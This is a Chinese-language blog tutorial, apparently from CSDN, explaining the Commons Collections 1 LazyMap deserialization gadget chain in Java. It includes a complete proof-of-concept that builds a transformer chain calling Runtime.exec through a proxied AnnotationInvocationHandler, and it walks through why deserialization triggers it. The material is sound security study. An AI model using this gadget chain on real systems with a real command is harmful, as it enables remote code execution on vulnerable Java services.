cc1LazyMap链

前言

上一篇文章我们看了Java动态代理的概念,而cc1中的LazyMap链就用到这个概念,现在来做个简单的剖析。
简而言之就是当调用到被代理对象的任何方法时,都会先调用InvocationHandler接口中的invoke方法,而AnnotationInvocationHandler正好实现了该接口。

LazyMap链

首先我们先看一下代码:

package org.example.cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc1Demo2 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();

    }
}

transformers数组和new一个ChainedTransformer对象都是一样的,不一样的是TransformedMap链条需要手动put一个key/vaule才能触发我们的反序列化,而LazyMap链条是在其get方法中执行的factory.transform,代码分析LazyMap中的get函数:
在这里插入图片描述
当在get找不到值的时候,它会调用factory.transform方法去获取一个值。

看代码中的实例化LazyMap对象的decorate方法:
在这里插入图片描述
跟进LazyMap类的decorate函数,看一下里面的作用:
在这里插入图片描述
返回的是一个LazyMap对象。
get方法中的factory就是我们传入的transformerChain,也就是说,只要调用了get方法,并且Map对象中的没有key,就可以触发ChainedTransformer的transform方法,从而实现transformers数组进行回调,进而执行命令。

现在的问题就是要找一个调用get方法的类:
在AnnotationInvocationHandler类的invoke方法中调用了get方法:
在这里插入图片描述
那又要如何调用到invoke方法;
P牛的文章中说到:
我们如果将AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get

下面这段代码就用到了java的动态代理,如果不了解的可以看我的上一篇文章
代码片段:

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

Proxy.newProxyInstance中的三个参数上篇文章也说的很详细了,第一个参数是动态代理要实现的类加载的类,第二个对象是需要代理对象的集合,第三个是代理类,代理类中是我们实现的代码,包含了代理的具体逻辑。
代理后的对象叫做proxyMap,但不能直接对其进行序列化,因为入口点是sun.reflect.annotation.AnnotationInvocationHandler#readObject,所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹:

handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);

最后成功命令执行:
在这里插入图片描述

参考:
http://121.40.251.109/2021/07/16/2021-7-16-ysoserial%E7%B3%BB%E5%88%97-CommonsCollections1%E9%93%BE%E5%88%86%E6%9E%90/
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值